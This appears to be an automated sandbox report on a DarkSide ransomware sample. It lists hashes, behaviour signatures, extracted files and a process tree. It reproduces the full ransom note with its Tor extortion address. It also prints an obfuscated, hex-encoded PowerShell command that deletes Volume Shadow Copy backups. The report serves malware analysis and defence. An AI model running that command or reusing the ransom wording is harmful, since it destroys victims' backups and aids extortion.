Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-06-2024 20:50

General

  • Target

    00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe

  • Size

    259KB

  • MD5

    00ca7e42b298d5e2a06050b527abef40

  • SHA1

    b343760bff3f0c6adbd9b5b39e65894be6d550a5

  • SHA256

    6183d9296b128c378e32228916ec2d34fc1cee19b84bcdcf6ff8dcb2e6492a42

  • SHA512

    6e24df07d15b1dbe3da753aa6730685729490285d83397e7f140c592a45d1ecdb33c7cbd15c48bd3c4f803cff55c655f86d7523187a770a434f85f795dcba4c6

  • SSDEEP

    6144:j9Iuq5yqBxgxIlrfImRCW2cqv7pLR1N1e9ORXrP4QP:j9Ir5yOxiIlrfspjqwRLT

Malware Config

Extracted

Path

C:\Users\Admin\README.f7623f4a.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/ZPHGS4V186LJE9D41BZPQYMAVTRO61FS5DFITXN3164U5B607T7W51NEY0WV7CT1 When you open our website, put the following data in the input form: Key: jKdQRGN9mNfPP8E6f3cjkmyokpCOSXS2DnnFGEKzzUjydeJi0Y5Jwuo50cdYDeB721Qp70mHSyWcbZxtet9CL8rddRLMXV1VCor8siYPCido4knletpYGAywiyiJ6eVCeAfy21AqvcHudVyb3M7DgwYdaA7B5P3fwZkx4VmRMKn9pKP0Eethj7HsMgIC2Y3HlLGdOQT9s7bLhnLqaUrDpQ2DewShszE6NmgsWEGPQNGP7u1BOGw27hyNaH9gZV97RtPQ4PGkNdUAXopYgWbLcU5S4o4q4FdBglJsBaAtRYqE6q9lBVJhU44PdWQn7sLxr2FArxbtmaMEEfCqWstqY1naLzqnIDz7EDpPlXVbZcwGRXA9Hx42hIYVG434ppADhJV5GIyxm0boe3Sr0etwsdGvV0grUSfDez0HdBW3PpY3e7r2xiCZGEJOsNxZ7v2l5BMHZFNjyafb7BJ22v3mvvpJd3uVJPeItuGlC5sNYy0zvY9zWdMQVqD3i2l2pvi2fEKJ0ettXVghy5bjcKrGusT9FouoT7scmknYh7tVnb8zccnPxZSEt39 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/ZPHGS4V186LJE9D41BZPQYMAVTRO61FS5DFITXN3164U5B607T7W51NEY0WV7CT1

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Renames multiple (137) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe
    "C:\Users\Admin\AppData\Local\Temp\00ca7e42b298d5e2a06050b527abef40_NeikiAnalytics.exe"
    1⤵
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4764
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4464
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4588

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    556084f2c6d459c116a69d6fedcc4105

    SHA1

    633e89b9a1e77942d822d14de6708430a3944dbc

    SHA256

    88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

    SHA512

    0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    d4ff23c124ae23955d34ae2a7306099a

    SHA1

    b814e3331a09a27acfcd114d0c8fcb07957940a3

    SHA256

    1de6cfd5e02c052e3475d33793b6a150b2dd6eebbf0aa3e4c8e4e2394a240a87

    SHA512

    f447a6042714ae99571014af14bca9d87ede59af68a0fa1d880019e9f1aa41af8cbf9c08b0fea2ccb7caa48165a75825187996ea6939ee8370afa33c9f809e79

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gei3uwub.cw5.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\README.f7623f4a.TXT

    Filesize

    1KB

    MD5

    2b8c971078b833a80c3967684055ddc3

    SHA1

    e657e2ca052d0701270e3e3194e8016711da2bc6

    SHA256

    b6552686237ecece9ecbc303880abaadde34da6a31f3086b9d0782198f657ee8

    SHA512

    0f1cb2a9b3c30e106bbac81968206add8f4f00db90877c3447202ee483855e2c8b0c68bdde136604e1a8ab217a15bef11cd096ff8bf87f65e0d805df2b95f670

  • memory/4464-30-0x00007FFBCC370000-0x00007FFBCCE31000-memory.dmp

    Filesize

    10.8MB

  • memory/4464-28-0x00007FFBCC370000-0x00007FFBCCE31000-memory.dmp

    Filesize

    10.8MB

  • memory/4464-29-0x00007FFBCC370000-0x00007FFBCCE31000-memory.dmp

    Filesize

    10.8MB

  • memory/4464-33-0x00007FFBCC370000-0x00007FFBCCE31000-memory.dmp

    Filesize

    10.8MB

  • memory/4464-17-0x00007FFBCC373000-0x00007FFBCC375000-memory.dmp

    Filesize

    8KB

  • memory/4464-18-0x000002222B160000-0x000002222B182000-memory.dmp

    Filesize

    136KB

  • memory/4764-214-0x0000000000400000-0x000000000042E000-memory.dmp

    Filesize

    184KB

  • memory/4764-1-0x0000000000400000-0x000000000042E000-memory.dmp

    Filesize

    184KB

  • memory/4764-0-0x0000000000400000-0x000000000042E000-memory.dmp

    Filesize

    184KB

  • memory/4764-2-0x0000000000400000-0x000000000042E000-memory.dmp

    Filesize

    184KB

  • memory/4764-6-0x0000000000400000-0x000000000042E000-memory.dmp

    Filesize

    184KB

  • memory/4764-7-0x0000000000400000-0x000000000042E000-memory.dmp

    Filesize

    184KB

  • memory/4764-3-0x0000000002060000-0x0000000002061000-memory.dmp

    Filesize

    4KB

  • memory/4764-4-0x0000000002090000-0x00000000020CB000-memory.dmp

    Filesize

    236KB

  • memory/4764-209-0x0000000000400000-0x000000000042E000-memory.dmp

    Filesize

    184KB

  • memory/4764-211-0x0000000000401000-0x0000000000409000-memory.dmp

    Filesize

    32KB

  • memory/4764-210-0x0000000002090000-0x00000000020CB000-memory.dmp

    Filesize

    236KB

  • memory/4764-212-0x0000000000400000-0x000000000042E000-memory.dmp

    Filesize

    184KB

  • memory/4764-5-0x0000000000401000-0x0000000000409000-memory.dmp

    Filesize

    32KB